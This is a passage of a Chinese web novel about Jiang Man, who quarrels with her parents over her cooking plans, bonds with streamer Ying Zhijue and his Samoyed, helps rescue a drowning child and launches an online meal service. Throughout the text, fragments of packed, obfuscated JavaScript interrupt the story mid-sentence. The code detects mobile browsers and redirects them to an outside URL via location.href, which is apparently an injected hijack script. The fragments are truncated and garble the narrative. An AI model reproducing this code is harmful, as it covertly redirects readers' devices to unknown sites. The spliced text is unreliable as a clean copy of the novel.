姜满察觉到自己内心的触动,又有点无言以对了,这或许就是独属于东亚家庭的恨海情天吧——说爱,也爱不满;说恨,也不完全。不想整天被控制,但是真要她逃得远远的,她又舍不得了。 姜满撕开一袋辣条,整齐地码放在手抓饼上,又把炒鸡蛋也放在里面,对折夹好,抓着吃了起来。 既然父母在冷战的过程中都怕把她饿着,她也想做些什么打破这僵局。 不如给他们准备一顿晚饭!让他们下班一回家就能感受到来自女儿暖暖的爱意,还可以从侧面体现出自己的手艺开店是可行的。 姜满被自己这天才的想法激动得坐立不安,即刻就要动身前往超市采购。 “妈妈喜欢吃辣的,爸爸口味偏淡并且晚上总要喝上一杯小酒……”姜满没一会儿就想好了要做什么。 跑了这一趟,提着一袋子食材回家,姜满却一点也没有感觉到累,坐都没坐一下就立即去洗手备菜。 她看着时间也不早了,慢慢做正好能赶上父母回来吃热乎的。 第一道菜是给姜父的下酒菜。 姜满把蟹棒下入锅中煮熟,趁这个时间把黄瓜切成细细的丝,而后捞出蟹棒撕成条状,加上麻酱、醋、一点点白糖搅拌好。 家里的麻酱是浓郁款,有点太稠了,稀稀拉拉地搅不均匀,于是姜满又创新性地往里面倒了点雪碧,让这道小凉菜变得更加清清爽爽。 第二道菜是姜母爱吃的麻婆豆腐。 姜满把豆腐切好放入锅中焯水除去豆腥味,再把肉沫和小香葱一起炒熟,而后加入刚刚处理好的豆腐,倒入由豆瓣酱、辣椒面、生抽、老抽、耗油、水混制而成的小料汁,盖上锅盖焖煮片刻,最后又添上些许淀粉水来勾芡,收收汁后,完美出锅! 最后这道其实在最开始就准备上了。 两只大鸡腿被去骨洗净,这步废了姜满不少事,因为不清楚构造,她切了两刀想用蛮力直接把肉扯下来,却不小心被骨头划伤了手。 “嘶……” 姜满忍不住倒吸一口凉气,冲了冲用碘酒消消毒然后贴上了创口贴继续备餐。 拿厨房专用的厚纸巾吸干鸡腿肉的水分,加入料酒、蚝油、蜂蜜、胡椒粉以及葱姜腌制,到现在正好已经一个半小时了,于是她拿出来开始小火慢煎,待表皮金黄后,倒入秘制的照烧汁等到冒出大泡,收汁盛出。 三道菜已经把她累的不行,但是姜满对自己的手艺十分满意。 听到钥匙转动的声音,她知道是妈妈开车接着爸爸回来了,赶紧迎上前去开门。 “怎么一股香味?你又偷偷点外卖吃了?”姜母狐疑道。 果然母女没有隔夜的仇,即便过去了一天没说话,再次见面并没有一丝局促。 “什么外卖啊,明明是我自己做的,这样你们一下班就可以吃了,不用再忙着做了。” 姜父姜母洗完手,迫不及待地坐在餐桌前。姜父抿着酒,不由得称赞:“你别说,咱闺女做的还挺像样的。” 姜母舀了一勺麻婆豆腐,吃得满足:“还真不错,比你做的有滋味儿多了。” 姜满脸上的笑都藏不住了,“我这次做的还符合你们口味吧?是不是,多少还是有一点做饭的天赋的?” 知女莫如母。 姜母听她这一句话,就知道她做这一番是为了什么,于是开始数落起她来:“味道是不错,但是这味道主要都是靠调味品来的,这几道菜技术上并没有什么特别的。” 姜父也开始鸡蛋里面挑骨头:“满满的刀功还是得练啊,你看看这黄瓜丝有的薄如蝉翼,有的快成黄瓜块了,你什么时候能和爸爸切的土豆丝一样均匀,那才到了个平均水平呢。” ……得,又变脸。 姜满兴致全无,饭也不想吃了,一下子收回虎牙,脸阴沉下来。 见女儿不说话,姜母又劝她不要整天喜怒哀乐都写在脸上,不随了她的意就不开心。 姜满刚自己努力熄下去的火被姜母这一句话又给点燃了。 “我又怎么了?我好不容易做一顿饭被你们又指点一番,鸡蛋里面挑骨头,不开心都不行了?” 姜母也不留情面:“你现在才知道做饭‘好不容易’了?爸爸妈妈都给你做了二十年饭了,提提意见都不行了?” 姜母这一开团,姜父即刻围攻过来:“而且你看看你用完锅,也不刷干净,就摆在那了。等着一会汤汁干了黏在上面就更不好刷了。满满,爸爸妈妈只是说实话,你这样子没条理,我们怎么能放心让你自己做事呢?” 一腔委屈无处倾泻,姜满觉得自己快要憋死了。 没刷锅没收拾是因为她刚做完父母就回来了她才先放在那里了。现在倒好,这也成为指责她的论据了。 她吸住鼻涕,收住眼泪,披上个衬衫离开了家。“你们慢慢吃吧,我没食欲,出去遛遛再回来。” 进入公园,姜满实在是没有力气走到最近的长椅,于是直接倒在了大草坪上躺着,吸收天地之灵气——反正她今天穿的长裤,不怕有虫子。 她也想过会不会有人把她误认为是一具尸体然后打电话报警拖走,但是想想这也没什么不好的,至少让她有了个声名远扬的机会。 于是她安稳地闭上眼,任由眼泪就这样肆意地滑落。 眼角湿湿的。 ……不对,不是泪水的湿。 怎么是一大块热热软软、蠕动着的东西?! 姜满以为见鬼了,被吓得惊叫出声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564607|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “应之王你有毛病,我是没喂你吗?你舔人家脸干什么!”应之珏在应之王头上来了个暴扣,不过它的毛很快又恢复了蓬松。 应之珏看着昏黄路灯下姜满湿漉漉的眼眸和泛红的眼眶,猜出来她脸上反光的水痕应该并不全是应之王的口水。 两人相顾无言。 应之珏不想戳破她的狼狈,尽量让自己的语气一如既往地淡淡的:“地上那草到了秋天,都干巴了吧,扎不扎?去椅子那里坐吧,正好给应之王腾个地儿进行一番排泄,我感觉它看上你坐的这块了。” 姜满翘着一头呆毛坐到椅子上,紧靠着左边。 应之珏也坐过来,紧靠在右边。 他不知道姜满今天整个人怎么这么奇怪,明明昨天在游戏里还是出口成梗,把直播间氛围都带动了起来的;也不知道怎么哄她。 不过还好有应之王在。 它屁股扭啊扭的,往两人中间凑。 见它爬上来费力,姜满托了它屁股一把。 于是两人一狗就这样坐在一张长椅上。 姜满鼻腔已经被鼻涕堵满,可是她出门太急没带纸,此刻非常尴尬。 总不能用衣服擦吧,或者…… 她看了看应之王那一身长毛,计量着自己把头埋进去然后擤鼻涕不被发现的概率有多大。 正当她被自己这天马行空的想法快要逗乐的时候,一只手穿过应之王的“白毛丛林”,给她递了一包纸。 “知道你不嫌弃它,但还是擦擦吧。”应之珏没有点破。 “……谢谢。” 姜满抽出纸巾,把粘稠半液态固体处理干净后,声音也变得清脆了不少,不再有浓重的鼻音:“还有,谢谢你昨天带我打游戏。” 她这一提,应之珏突然想起来自己说要给她调设置来着,于是开口询问:“你是用现在带的手机玩的吗?我给你调调灵敏度键位什么的吧。” 姜满打开游戏,把手机从应之王狗背后面递过去。 手机被拿走,姜满更是没有什么可打发时间的了,于是环抱着应之王把头埋在它身上蹭。 应之王:?咱俩到底谁才是狗。 但是你还真别说,虽然应之珏自己的日子过得昏天黑地颠三倒四的,在有限的时间里,对应之王还真是上心。 姜满每次见应之王,这么大一只,只有脚边的毛毛会沾些尘土,腿肚子向上全是白白软软的毛,连泪沟都没有,所以眼睛像大葡萄一样,一直是圆溜溜水灵灵的。 更何况这只大狗居然在这还没降温的天气里,身上一点狗狗独有的汗臭味都没有。 姜满只闻得到浅浅的沐浴露香味儿。她想,无论是自己洗还是天天送去宠物店,都不是一件方便事。 应之珏调完设置想把手机还给她时,却见姜满和应之王两颗脑袋紧贴着,路灯照射下的光把一人一狗、一黑一白的发丝都镀上一层薄薄的金光。 特别和谐、特别温馨。 时间好像都静止了。 他拿起自己的手机,没出声惊扰靠在一起的这两只,默默拍下了这美好的一幕。 12. 狗刨 直到姜满手机瘾犯了,长时间不看手机她浑身就不舒服,于是她歪头一半靠在应之王身上,另一半从应之王密密的毛发中露出来,试探性地询问道: “应老师,调好没?” “好了好了,给你。你有空试试,如果用不惯的话,我再给你改。” 不知道是公园二十分钟效应起了作用,还是萨摩耶与生俱来的安抚效应,姜满觉得自己的呼吸比刚出家门时畅快了不少。 应之珏知道姜满心里还是有事,也能看出应之王能让她心情好很多。 他右手扣着椅子的扶手,装作不经意地发出邀请:“那个,湖滨那块儿有个比这边更大的宠物友好公园来着,如果你有空的话,我们陪应之王一起去逛逛?” 姜满正好也不想整日待在家里,出门呼吸一下新鲜空气总不是件坏事。 “有空,”她打开天气预报,次日正好是个不冷不热的晴天,于是问应之珏:“不如就明天?你方便吗?” 应之珏这个整天“居家办公”的,有什么没空的?白天出门的唯一难点只有克服困意,只要他能起来床,剩下的都好说。 “好,那明天早上九点,从这接上你,我开车过去大概半个多小时。” 早上空气清新,姜满很赞同。 “但是坐你的车、耗你的油,我有点不好意思。明天我带着野餐布,带点吃的,玩累了就坐那吃一会,怎么样?” 两人都没有发觉到,越聊越像在计划约会了是怎么一回事儿? 这点也是姜满回家思考第二天带点什么的时候,才猛然发现的。 ……她就要这么不明不白地、草率地和一个因狗而识的狗友兼电子师傅双人同行了? 她心里怪怪的,说不上来这种感觉,于是找寻了从初中便开始早恋一直到现在感情线没断过的郝瞳进行拷问。 郝瞳的这一任男友是她的大学直系学长,这段恋情也是屹今为止她持续时间最长的一段——因为一入学刚见面不久俩人就确定了关系。 当时姜满对这位学长并不看好,毕竟和新入学的学妹谈恋爱的学长的风评,大家是有目共睹的。她也不理解郝瞳怎么就又这么快投入了,还信誓旦旦地向姜满保证:“姐妹你听我说,这次真的不一样!” 出乎意料的,两人确实谈得安安稳稳,是姜满同龄人里为数不多的正常情侣。 她虚心求教:“你到底是怎么就能一眼认定可以和他谈下去的啊?” 郝瞳奇怪,刚看到姜满发来消息,还以为是她又约她玩吃鸡。没想到居然找她询问感情相关了?真是活久见。 “说实话吗,其实当时也没有确切的信心,只是觉得两个人的气场很合,不排斥,甚至每天都期待着能见到他。” 郝瞳知道这丫头肯定是有这方面想法了,不然不会突然问她,所以打趣起来:“是何方神圣,让我们小满满也春心萌动了?” “……没有,我就问问,好奇。”姜满死鸭子嘴硬。 八字还没一撇的事,宣扬出去也显得她太不要脸了。 郝瞳心知肚明,还是给她留下了建议:“缘分是老天的眷顾,但是如果连你自己都把握不好的话,哪怕红线硬如钢筋,也会断的喔。” 说着说着又恨铁不成钢起来:“姜满,你能不能别整天研究你那吃的,要么就是打起和平精英来没完了?你这种钢铁直女是不会有人追的,所以你要主动出击一点啊!” 郝瞳当然没有所谓“不谈恋爱就是失败”的这种观念,她只是很好奇很期待看到从小一起长到大的朋友谈恋爱是什么样子的。 姜满不以为意,“谁说我没有人追啊?我跳自闭城的时候四面八方都追着我打呢,尤其是残血的时候,追求者更是数不胜数,藏到哪里都躲不过他们的猛烈攻势呢。” 郝瞳:……姐妹你赢了。 另一边的应之珏进了家门也发觉了不对劲——自己居然对一个异性发出了单独出行的邀约? 应之王像是会读心术一般,同时扒拉了他一下。 应之珏连连安抚:“别急兄弟,先别急。我想错了还不行?不是单独,咱仨,咱仨还不行吗?” 他也真是被鬼迷心窍了! 人家小姑娘开不开心的关他什么事,自己怎么就突然犯了骑士病,拯救意识如此强烈。 “她是妹妹,年纪小。我对年纪小的孩子有关切的义务,这是人之常情。” 应之珏对着空气点点头肯定自己,又蹲下来问应之王自己说的对不对。 应之王不明所以。 应之珏无奈地笑笑,“算了,权当是陪你看风景了,傻狗。” 应之王:?我又傻狗了? …… 两人一狗次日伴着阳光如约汇合。不用应之珏告诉她车牌号,姜满远远地就看见那大狗头从车窗冒出来。 姜满在上车之前迟疑了一下: 要坐副驾驶吗?虽然认定应之珏百分之九十应该处于单身状态,她心底隐隐还是害怕。 那要坐在后排吗?可是姐姐告诉过她坐后排都是默认把驾驶当做司机了,是不大礼貌的行为。 那就正好趁这个机会再试探一下吧。 “……副驾驶,我可以坐吗?” 应之珏手动给她把副驾驶位调到最宽敞的程度。 “看看你俩能坐开不,平常副驾驶只有它自己。要是坐不开就把应之王赶到后面去。” 姜满敏锐地捕捉到了“只有它自己”这五个字,心中的大石头总算落了地。 她的道德底线极高,眼里容不得半粒沙子,哪怕一切还未发生,她觉得自己如果对有对象的男生动了心,都是十恶不赦的行为。 她上了车,应之王像是生怕被赶到后面去,立即让位,钻到了副驾驶座位下方的空间里。姜满不是没肉的那种,但是骨架子极小,像个板儿一样,所以和应之王同处一个座位甚至还绰绰有余。 她摸了摸应之王的狗头,又猛猛吸了一口。 好幸福。 应之珏忍不住揶揄:“慢点吸,吸你一肚子毛可别找我们家应之王算账啊。” 车子开出去两公里,他发现姜满频频打哈欠。 “困了就眯一会,到地方叫你。” 姜满摇了摇头,颇具责任感地回复:“副驾驶的职责是辅助驾驶看清路况,不能光顾着自己舒服。” 应之珏笑了。 他五官立体,但是颧骨不高,所以笑起来整个面部轮廓还是很流畅,眉眼弯弯的样子,很清秀,如果忽视掉身高因素,估计有人觉得他比姜满年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564608|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪小,顶多和她一样大。 姜满不由得默默感慨,应之珏的长发真是留对了——不是像泰迪一样的卷毛,而是像微微有点弧度的自然直发;不是像女孩子那样的及肩长度,而是离肩膀还有些距离,刚刚好直直地搭在耳后,不会过分地随风飘舞。 应之珏的驾驶技术不错,也不知是不是在游戏中常年练习的原因,一路上都很平稳,两人比预计时间还早了不少到达。 “你饿吗?”姜满问他。 “不饿,我俩早上都吃过了。” 姜满要拿包的手又放下了。 “那我把吃的留车上了,先去湖边溜一圈。” 这个公园离市中心远,生态确实是好很多,鸟叫声取代了楼下公园常听到的汽车鸣笛,波光粼粼的湖面比高楼大厦的玻璃反射过来的光线更加柔和明亮。 两个人都没说话,就这么跟着应之王的步伐,并肩走着。 结果应之王突然屎到临头了,偏离路线向湖边草地走去,两人立马跟上,看着它畅快地“噗噗”一通。 “非礼无视啊非礼勿视。”应之珏一边给应之王清理着作案工具,一边向姜满声明着。 姜满本来没注意的,他这一说反而把她的逆骨给激起来了。 趁着应之珏没注意,她把眼前的一幕拍了下来——长发清冷男正在浅笑着擦拭一个粉嫩的皮燕子。 应之王甩甩屁股,刚往环湖人行道的方向走了两步,竖起的耳朵突然动了动,接着便调转方向,直直地冲着湖水跑过去。 应之珏给它处理排泄物,松开牵引绳这么几秒钟的事,谁能想到它逮住这个空子又窜出去了? “应之王!回来!”应之珏焦急地大喊。 姜满从来没听过应之珏这么雄厚大声说过话。 她也很着急,于是和应之珏一起随着应之王的路线奔去,却发现应之王已经下水,而它前方 ——是一个扑腾着哭闹着飘向湖心的小孩。 应之王的厚重毛发浸湿后,为它的游动增添了不少阻力。 应之珏虽然心急但是也下不了水,因为他是个实打实的旱鸭子。 两人眼睁睁看着应之王费力地游到那溺水小孩身前,叼着他的衣领便往岸边游。 见它快要走过一半的路程,应之珏松了口气,心里想着:好孩子,你平平安安回来,我一定给你加大餐。 岸边的所有人都被这一幕所吸引,拿出手机来拍摄着“好狗救娃”的一幕,意外却发生了——小孩似乎是被衣服勒的不舒服,开始大力地拽应之珏的毛,企图让它松开自己。 应之王被揪得生疼,龇牙咧嘴的,但依旧不愿松口。 而那个小孩越来越得寸进尺,开始对应之王的身体拳打脚踢。 姜满要心疼坏了。 她上次游泳还是小学的时候报的游泳培训班,学了一个星期,那时候是勉强学会了个蛙游,可是将近十年过去了,她脑袋里早就一点印象也没有了。 ……不过游泳这技能应该和骑自行车一样,只要学会再接触了相同的环境,身体的记忆应该就会恢复的,对吧? 姜满在心底肯定着自己,眼见着应之王被拖拽得也开始呛水,没有时间再多想,直接把手机塞到应之珏怀中,然后跳进了湖里。 13. 泡汤 这都快到湖边了!这湖水在边缘能有多深,她一六八的黄金身高还能连个头都露不出来吗! 应之珏眼睁睁看着姜满的手机到了自己手里,再一抬眼就看见姜满也已入水。 她面目狰狞地打掉小孩死死薅着应之王毛发的手,然后拉着他们向岸边游。 此刻公园的救援人员也终于到场,顺利地把他们都接应上岸。 小孩的家长抱着小孩痛哭,而湿成落汤鸡的姜满也抱着那只落汤狗痛哭。 ——刚刚游回来的时候,应之王没有游在她前面或是平齐着,而是有意落在她后面。姜满明显的感受到,应之王一直在用嘴筒子推着她给她助力。 谁说应之王是只会傻笑卖萌的蠢狗啊?明明聪明得很!知道姜满会游泳,不用拖拽,所以换了个方式辅助她游。 比起它自己溺水,应之王更害怕的是她回不去。 应之珏从救援人员那里拿来两条大毛巾,先把一条盖在姜满身上,又拿起另一条开始给应之王擦毛。 “别哭了,你有没有呛到水?快擦擦。对不起,我不会游泳所以才……” 姜满用大毛巾裹住全身,只漏出一双眼来。 她勉强止住抽泣,反过来安慰应之珏:“我知道的。要不然你肯定冲过去了,比谁都着急。我没事,一点事儿也没有,就是突然有点泪失禁了,自己缓一缓就好了。” 或许是毛巾不够吸湿,应之王嫌毛发湿乎乎的难受,于是疯狂甩动身体开始自我风干。 姜满还好,本来就用大毛巾把身体包了个完全,而应之珏却惨了,躲避不及,没下水的他此刻也和游过泳一样了。 不过,姜满觉得此男微微湿发好像更有韵味了。 应之珏看看笑得得意的应之王,一脸无奈:“……算了,不怨你,今天我们应之王可是勇敢的大英雄!” 他又侧身看了看姜满,补充道:“姜满,你也是。” 气氛融洽之际,不和谐的声音却闯了进来:“我小孩在水里被淹着,你还打他,你这是害人啊!你这是谋杀!” ——是那溺水小孩的父母来讨说法了。 姜满无可辩驳。 她确实是打了小孩,可是她要是不阻止他的话,可能应之王也要被他拖进湖里出不来了。 姜满想出口解释,应之珏先用手指点了点她的肩头示意她不用动,自己站起身来,挡在了孩子父母面前。 ……真是搞笑。 两个无理取闹的人还敢和他这个整日在直播间里怼人练口才的专业主播对峙? “那是,你们的小孩?” 应之珏不在乎地把眼神瞥过去,指了指依旧哇哇大哭的约莫六七岁的男童。 “对啊!自己的孩子自己心疼,你们这些一点同理心都没有的年轻人怎么能理解!” “心疼?” 应之珏冷哼一声,“你既然这么心疼他,怎么还能让他掉到水里飘这么远?你孩子这么宝贝,别人动都动不得,你怎么不立刻下水去救他?连狗都下去了,你在哪呢?” 应之珏不给孩子父亲喘息解释的机会,继续输出:“对啊,自己的孩子自己心疼。所以我们心疼自己的孩子,不想让你孩子欺负我们家孩子,有错吗? 我们家这只狗换算成人类的年龄也和他差不多,它这个年纪都聪明的会救人了,你家那娃娃还蠢的阻挠救命恩人,差点把自己害死呢。” 对面家长被应之珏回怼得面红耳赤,支支吾吾说不过一句话,于是上手想要打人。 应之珏皱皱眉头,但是没往后躲,他的声音依旧平淡毫无波澜:“如果你还有疑问,觉得我们有错,可以直接走程序告我们; 如果没有,你现在就是寻衅滋事,小心进局子蹲几天,又没工夫关注你孩子的一举一动,然后他又掉湖里,可没有今天这么好运了。” 这里围观的人太多了,应之珏烦的不行。 他转身把姜满拉起来,又拿起应之王的牵引绳,打算带他们回车上休整一会。 走出去一段距离后,应之珏才发现刚刚拉姜满起来的那只手一直没有松开,就这么牵了好久。 他低头看,迎上的是姜满饱含着疑惑、小心翼翼、想说又不敢说的胆怯,似乎还掺杂着一丝……羞涩? 应之珏赶紧松开了她的手,暗自想着,这小姑娘这么长时间也不提醒我,也不自己把手抽出来…… ……算了,怪我,是我抓得太紧了? 也不知道抓疼她没有……也不说话…… 回到车上,姜满悄悄拿出粉饼补妆,一打开盖就被自带的镜子里映入眼帘的女水鬼吓了一跳。 好好好,精心挑选的伪素颜短款假睫毛也算是白戴了——已经不知道掉到哪里了,希望不是粘到了身上哪个别人能看见但是她自己看不见的角落。下至、腮红更是通通隐身,白喷这么多层定妆喷雾了。 更搞笑的是,为了改善眼型,塑造无辜大眼的双眼皮贴一个不见了,另一个掉了一半,不上不下的,活脱脱成了个大小眼。 姜满气得要跳脚,索性把这个也直接拽了下来随手扔了。 应之珏打开她带来的食物包裹,开玩笑说:“哟,战备物资挺充分的,吃一口恢复一下能量值?” 他递来姜满切好的三明治,俩人一人一半开始吃起来,当然也没忘了消耗了大体力的应之王,姜满把不喜欢吃的面包片边边都撕下来送给了它,应之王看也不看就全部笑纳了。 应之珏其实对食物没什么很高的要求,感觉所有饭菜都大差不差的,吃饭就是为了活着。 不过姜满的三明治和他刻板意象里的不一样。 虽然已经凉了,但是依旧有浓郁的奶香、油香,里面的滑蛋也是湿湿润润的,他尝出了蛋黄酱的味道,培根的边缘是焦焦酥酥的,还又添了些孜然粉,颇有些中西合璧的意味。 姜满扒翻了一下,又拿出两个玻璃罐子,一个是偏细长的,另一个则是开口更大一点、矮墩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564609|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墩的。她把玻璃细长的那个递给应之珏,“尝尝这个吧。”然后把矮矮的那个打开盖,两只手拿着送向应之王的嘴筒子,不忘让应之珏放心:“都是无糖酸奶,水果也都是低糖的,它都可以吃。” 应之珏笑笑:“我知道的。你比我对它还要上心呢。” 今天应之王的运动量已经远远超标,估计也没有什么力气再在这公园里撒欢了,而且湖水毕竟没有被沉淀除杂过,即使身上衣服早已被太阳自然烘干,应之珏认为还是应该及时更换下来比较好。 于是两人决定直接打道回府。 他看出来姜满没精打采,开口安慰道:“有时间我们随时可以再来,又不是很远,别难过。” 返程的时间很是折磨,姜满闭上眼是自己一副“顺产头”从水里爬上来的样子,睁开眼又和双目无神的后视镜里的自己对视。 “应之珏,感觉你好像不用上班呢,就算是有事忙也是在家里忙的……”她说出自己的疑惑,不过她相信就算应之珏是富二代,应该也是小少爷类型而不是游手好闲混混类型的。 “不是,我有工作,只不过是自由职业,而且是线上工作。” 应之珏坦言,怕姜满认为他是个不学无术之人,“而且我基本上是全年无休的,只不过工作时间大都在晚上。” 他着重咬牙加深了“基本上全年无休”几个字——今年第一休还是拜她所赐呢。 不过姜满听不出他的言外之意。 “自由职业吗?那很幸福了。我也想和你一样。” 姜满撑着下巴望向窗外。 应之珏透过姜满,好像看到了曾经的自己:对于未来迷茫忐忑,对于当下得过且过。 他以过来人的身份说:“不用想着一步登天,如果最后想要达成的目标现在无法一蹴而就,你可以先退而求其次,做一些类似的事来磨炼自己,正好也可以检验自己适不适合,避免最后沉没成本过大。” 他是这么说的,确实也是这么做的。 开始做主播那年,他也和姜满此时差不多年纪。要想兼顾学业,就只能晚上没课的时候直播,可是太晚又会影响舍友休息。 要想解决这个问题,就只能出去自己租房住。奈何囊中羞涩,他又不愿找父母要钱。 于是索性接起了代打的业务,通过这个契机,既赚到了启动资金,也检验了自己确实有这方面的实力与兴趣。 应之珏见姜满没反应,开始反思自己说话是不是太像长辈居高临上的指点,让她感到不适了? “……哥哥只是把自己的想法给你做个参考,没有说教的意思。” “我知道。谢谢你,应之珏。” 她好像理解父母为什么这么阻止她了,或许也是害怕她像应之珏所说的,沉没成本过大而导致自己进退不得。 但是他们就不能好好说话,不这么偏激吗! ……好吧,虽然姜满承认应之珏的俊脸和美音也有令人沉下心来的buff。 14. 爆单 应之珏的话对姜满很有启发,她想开个小简餐店,目前来说确实无法实现。 但是她可以不办线下的,先办个线上的啊! ——利用小程序订餐,正好她现在不用上学,可以到处送餐,免去了场地设备的费用,但实质上理念和她最终要做的别无二致啊。 姜满把她的新想法分享给了表姐苏越,得到了非常强烈的认可:“满满你这个想法非常可行呀,不说别的了,姐姐先给你投点资金,别嫌少啊!” 姐姐总是这样,不说空话,甩钱来支持她。 姜满不再推辞,采买确实需要一笔不少的钱,她许下承诺:“你就等着当第一批试餐员吧!” 苏越发了个流口水的表情:“那可太好了,我现在已经馋得不行了。” 姜满又把这个企划告诉了郝瞳,郝瞳也为她感到开心:“可以呀诡秘,到时候我让我对象号召他们全班订你的餐。” 姜满扶额:“我求你了!你来给我帮忙不?我一个人你要累死我呀。” “这不是想要助你生意红火嘛~对了,把你的订餐小程序发过来,我先来看看有什么美味。” 姜满不好意思地说:“还没弄呢,我就是狗窝里藏不住干粮。不过这个小程序要弄的话我也得研究好一阵子了。” 郝瞳直接给她找好人了:“李书阳有个发小就是学这方面的,我让他联系联系帮你弄,你把要求啥的整理好发我就行了,包你满意。” 有闺如此,满复何求啊! 姜满就此开始了瞒着父母的堪比地道战的准备工作——买了一堆饭盒做对比:透明的塑料打包盒太难看,酱料有一点挂在上面就显得很邋遢;纸质盒被汤汁浸湿久了就会有一层塑料层脱离出来,容易误食,也被姜满pass了。 直到她发掘了自己的梦中情盒:玉米淀粉材质的餐盒,没有上述的任何缺点,还可以微波炉加热,淡淡的奶黄色简洁大方。她又备下了小麦秸秆的一次性勺子,色系和饭盒相符,又坚实耐用。 毕竟她也是吃了这么多年外卖的大学生,知道用液体勺吃饭是多么的无力! 最重要的一环莫过于选菜了。 姜满知道,像她一样,每顿都想甜咸都有、有主食有菜有肉有甜品啥都想吃一点的女生不在少数,只不过苦于自己的胃不够大,所以每餐只能从中进行取舍。 所以她想创办一种全新的模式,固定价格,每天每个品类提供至少两样的选择,半自助的模式,这样她每天备餐也方便,不用什么都准备,计算着各类食材的余量;也帮有选择困难的顾客减少了纠结。 没过几天,她大概敲定了菜单,郝瞳也托人帮她弄好了小程序。 为了让餐品从“色”上直接地对餐品有完整的认识,她花费了整整一天的时间拍摄样图。 当然了,制作出来的也不能浪费,正好让大家先尝尝鲜。 她骑上电瓶车给苏越送了两份,又跑到郝瞳的大学给她和她室友送了几份,回家后面对桌子上遗留的一份愣了神。 奇怪,她记得自己明明计算好数量了,怎么凭空又出现了一份? ……那也不能浪费吧,要不给应之珏尝尝? ……才不是特地给他留的呢。 姜满就这样别别扭扭地给应之珏发了消息:“哈喽,吃晚饭没,我多做了点你出来拿一下呗?” 她火速又补充上一句:“学费,这是你上次教我的学费。帮我尝尝味道怎么样,我很需要你的建议!” 应之珏把手机递给应之王看,笑着说:“应之王,她说这是给我的学费哎,你说我要不要笑纳呢?” 他收回手机,又看了看应之王,肯定道:“你笑了,笑的意思就是希望哥哥品鉴一番对不对?好吧,勉勉强强采纳你的意见了。” 应之王依旧咧嘴笑着:?我好像一直都在笑。 他这次出门难得地摒弃了曾经几乎粘在他身上的各种白T,换了件淡蓝色衬衫。 头发有些凌乱,他又拿夹板塑了塑型。 卫生间的灯光照射下,男生的姣好皮肤一览无余,没什么痘印斑点,只不过眼下的黑眼圈与白嫩的其它部分一比较,显得更加疲乏。 应之珏轻轻叹了口气,这是长年累月昼夜颠倒的印记,早就成了他面孔的一部分了。 姜满这次看起来好像很忙,没有主动要和他一起遛狗,抱了会儿应之王,把饭送下便匆匆离开了。 ——她确实很忙,因为要赶在父母回来之前把厨房的一片狼藉清扫干净。 可是应之珏不知道,他望着她的背影抬手理了理头发。 “……夹头发半小时,见面五分钟。好吧,这五分钟里面还有至少四分钟是拜应之王所赐。” 虽然在心里发着牢骚,应之珏回家后还是边吃边记,给姜满反馈了一份非常详细的品鉴感受。 “谢谢谢谢!这真是我收到的最用心的反馈了!”姜满毫不吝啬自己的夸奖。 “最?”应之珏疑惑道:“你是在做什么……实验么?” 姜满想着应之珏也能称得上是她创业路上的指明灯了,于是没想瞒他:“我想开个简餐店。但是之后不是还得回去上学嘛,毕业之前反正是没戏了,所以趁着我在家这一年做个线上订餐的先尝试一下。” 应之珏终于知道了为什么连着好几天在公园蹲她,和应之王一晚上遛五圈,把应之王累得回家都没劲陪他到下播就呼呼大睡了也碰不上她——原来姜满这几天有事忙,根本就没出门。 “你弄好了可以发给我。我线上工作有一些渠道,或许能帮你推广一下。”应之珏连忙献殷勤。 姜满受宠若惊:“真的吗!那太好了!等我真的开了店,一定给你终身免单的福利!” 应之珏并不觉得她是在画大饼,很给面子地附和道:“你是老板,你说了算。我就只能欲绝还迎最终恬不知耻地接受了。” 没过几天,“小满饭”小程序正式上线,姜满把消息发在了朋友圈。 头几天首先捧场的是姜满在家乡本地的同学,有初中的有高中的,凡是在配送范围之内的好朋友,都二话不说下了单,还推给了她们的舍友。 从早上去超市买菜,再到做菜摆盘,刷锅清理,一直到配送,全都是她自己一个人在做。 这段日子虽然十分的忙碌,但她却感到从来没有这么充实过。与之前这么多年的学习生涯中的被迫填满的充实完全不一样,这是她主动选择的,自己掌控的。 所以虽然累,但是她很幸福。 刚推出的几天,由于朋友们的捧场, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 